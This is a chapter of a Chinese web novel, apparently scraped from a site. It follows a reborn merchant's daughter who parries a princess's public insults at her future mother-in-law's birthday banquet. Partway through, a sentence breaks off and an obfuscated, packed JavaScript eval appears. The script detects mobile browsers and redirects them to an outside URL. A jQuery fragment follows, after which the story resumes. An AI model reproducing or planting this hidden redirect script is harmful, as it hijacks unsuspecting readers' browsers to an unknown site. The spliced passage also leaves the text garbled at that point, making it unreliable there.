孟玉桐随陈嬷嬷一起回正厅席间时,见诸位夫人执盏品茗,案上茶烟袅袅,较方才倒是添了几分静谧。
花厅之间唯余茶盏轻碰之声。
“哟,这就是淮之的那位未婚妻?”纪夫人身旁不知何时坐了位绯衣女子,眉目张扬,语声不羁,说话间耳边一对红珊瑚坠子摇摆不停,闪得人眼花。
陈嬷嬷附耳低语提醒,孟玉桐听后盈盈福身,“景福公主万安。”
当今圣上有三个兄弟姊妹,景祯公主、荣亲王和景福公主。四人虽不是一母同胞,但在历年来见血不见情的皇室宗族之中,已算得上关系不错了。
景和二十年圣上秋猎之时,猎场中一头花豹发狂袭击,景福公主替他挡下了致命一击,虽保得圣上身安,她却自此缠绵病榻,养了许久才堪堪恢复。
自那之后,圣上对这位幼妹千般纵容。景福公主今年三十有二,还尚未婚配,外头流言纷纷,圣上便干脆赐了她府邸庄园开府,并一干清俊少年,随意她差遣。
有圣上这般撑腰,即便这位公主性子如何张扬泼辣,行事背经离道,亦无人敢置喙半句。
不过……孟玉桐胸中一滞,指尖微蜷,她忽然想到秋海棠之毒。
景福公主是在明年三月宫宴上中毒离世的。
“模样倒是不赖,仪态气度算得上端方,不过这商户出身实属下乘,与淮之这样的人中龙凤,终究是云泥之别。”
景福公主朱唇轻启,眼间尽是挑剔,“也不知这纪老太爷究竟欠了孟家多大一个恩,竟拿孙儿终身相抵。”
在旁人眼里,攀上纪家是孟玉桐几辈子修来的福气,可与孟家扯上关系,却是纪昀倒了大霉。
两家婚事定下后,外头不乏流言蜚语,只不过纪家向来注重门庭体面,是没人敢在他们跟前说这样打抱不平的话的。
偏偏景福公主是个口无遮拦,无法无天的,兴致来了便将这样当众发难,一旁的官家太太们纷纷噤声,看起热闹来。
“娟儿,休要胡说。”纪夫人轻按景福公主的胳膊,眉间有几分不悦之色。
景福公主随即斜睨了纪夫人一眼,酸溜溜道:“哟,这人还没嫁进来呢,姐姐倒是先护上了。还真是婆媳情深呢。也不知我是在为谁说话,白惹人嫌。”
孟玉桐微垂着眼,受着屋中众人异样的目光在原地站着。
她心下了然,纪夫人越是为她说话圆场,这位公主便越是揪着她不放,没法这样轻易糊弄过去。
她抬起头,语声轻缓却不卑不亢,在纪夫人准备再次开声前截过了话头,“公主殿下凤藻金声,所言‘门第之别’,确是世间常有之论。
“孟氏虽为商贾,然家训首重‘诚信立身,仁德传家’。晚辈自幼蒙祖母及父母教导,时时谨记于心。
“纪公子龙章凤姿,晚辈虽蒙祖训,于门楣勋贵,实不敢妄称匹配。”
景福公主掩着唇笑出声来,“倒是还有几分自知之明。”
孟玉桐能感受到,有许多意味不明的视线落在自己身上。
若换作前世那个困于他人言语的自己,此刻怕是早已面红耳赤,无地自容。
可今时不同往日,她历经一世沉浮,又岂会再被几句闲言轻易困住?
她身形未动,微微扯动嘴角,脸上呈现出一道得体笑容,“然此桩姻缘,承先祖情谊之泽,系于长辈慈命,晚辈唯有谨遵教诲,时时惕厉,恐负两家长辈之厚望,亦忧损纪公子清俊令名。
“今日乃夫人寿诞,满堂吉庆。晚辈愚见,门第匹配与否,自有长辈权衡。晚辈唯愿夫人福寿绵长,府上安康和乐。”
一番话说完,满堂倏然一静。不等景福公主回神,孟玉桐广袖翻飞,行云流水般行了个万福礼,脚步轻移,悄无声息落座。
落座后,她指尖紧攥着手心的帕子,脸上带一丝恰到好处的落寞伤怀,垂眸间眼波流转,盈盈欲泣之态,惹得周遭夫人们皆暗叹一声“我见犹怜”。
众人方才皆知,孟家这嫡女幼年失恃,又受妾室苛待磋磨。
这看似高攀的姻缘,于她而言,又何尝不是枷锁?
往后踏入纪府朱门,是福是祸,当真难料。
景福公主面上的张扬笑意如潮水退去,眼底腾起阴云。
孟玉桐这番话,表面低眉顺目,实则句句暗藏机锋,那句“自有长辈权衡”,分明是暗讽她越俎代庖。
偏生对方又摆出这副楚楚可怜模样,若再纠缠,只怕姐姐定要阻拦。
她凤目微眯,盯着孟玉桐的眼神愈发冰冷,这商户女看似柔弱,实则暗藏锋芒。若放任她进了纪府,只怕要搅得鸡犬不宁。
心思百转间,她已打定主意要去圣上面前提上一句,管这纪老太爷欠了什么劳什子恩情,大不了多赏些金银,断不能让淮之误了终身。
正思忖间,一道清越男声自月洞门外传来:“姨母安好。”
景福转怒为喜,笑着抬眼看向来人,“淮之,今日是你母亲的生辰,可是去为你母亲准备什么惊喜了?”
纪昀长身玉立,朝着主位两人恭敬一揖,“儿子偶遇秦州游商于御街八珍坊设摊,见这只玉镯镯身通透如水,正合母亲雅趣,故而采买,望母亲喜欢。”
说罢,云舟打开锦盒,只见里头躺着一只羊脂白玉镯,镯上银丝勾勒的梅花栩栩如生,花瓣间还缀着几粒东珠,在室内淡淡光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127368|180116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影中流转着盈盈光华。
纪明小步疾行至纪夫人膝前,双手捧起描金漆盒,献宝似的将玉镯取出。
那羊脂白玉光泽温润,他小心翼翼替母亲套上,仰着小脸笑道:“母亲瞧瞧可合手?我与兄长在御街挑了好久才挑中的呢。”
纪夫人抚着腕间玉镯,眉梢眼角皆是暖意,伸手揉了揉纪明发顶:“你们兄弟有此孝心,母亲很喜欢。”
纪明被母亲亲近,先是一愣,而后脸上转现明朗笑意,“母亲喜欢就好!”
“纪夫人好福气,两位公子这般贴心,真是羡煞旁人”,一旁的夫人们也笑着恭维了几句,方才景福公主发难之事便被这么悄悄揭了过去。
孟玉桐坐于末席,眸光掠过那只玉镯时微微一顿,纪昀口中的秦州游商难道是……她垂眸望着案前茶盏,看来自己要去一趟八珍坊瞧瞧才好。
正思忖间,刘夫人摇着团扇笑问纪昀:“听闻翰林医官院近日要颁新令,民间医馆若表现出众,便能入了官家名册?”
这工部侍郎刘夫人有个儿子名唤宋寅深,今年二十五,性子清高古怪,还未娶妻。
据传这位宋公子自幼被父亲按科举入仕的路线严格教养,可他却对经史子集毫无兴趣,反爱偷翻家中藏的医书,常蹲在药铺外看郎中诊病。被父亲发现后训斥“玩物丧志”。
后来宋寅深屡试不第,家中知道他不是读书的材料,见他喜欢学医,便想着退而求其次,让其去考医官院。
谁知这医官院也考不上。
他又不屑靠父亲荫庇进太医院当个“挂名医官”,家中无奈,替他开了间医馆。
医馆名为“济世堂”,就开在在御街太庙旁,毗邻太医局与官署。
刘夫人盘算着,济世堂本就占了地利,若能得官家收编,岂不是平步青云?她也不必再为儿子的前途忧心。
纪昀缓缓撩起衣袍,在孟玉桐正对面的空位坐下,他抬眼时,恰见对面女子正执起茶盏轻啜,姿态闲适自然,仿佛方才的事情对她并未有什么影响。
见他瞧过来,她避也不避地静静望回来,一双眸子亮如浸在清泉里的乌珠,清白直接,倒叫他指尖顿了顿。
他想起方才面对姨母的刁难逼问,孟玉桐一派淡然冷静,伶牙俐齿的模样,倒是与传闻中的娴静安然有些出入。
他淡淡移开视线,朝刘夫人道:“确有此事,今日刚在朝天门城墙张榜。”
纪夫人静静瞧着两人之间一来一往的眼神动作,眉心皱了起来。
她总觉着,孟玉桐看向自家儿子的眼神,不像是在看未婚夫婿,过分的直白冷静了些。
不知怎的,心中隐隐不安。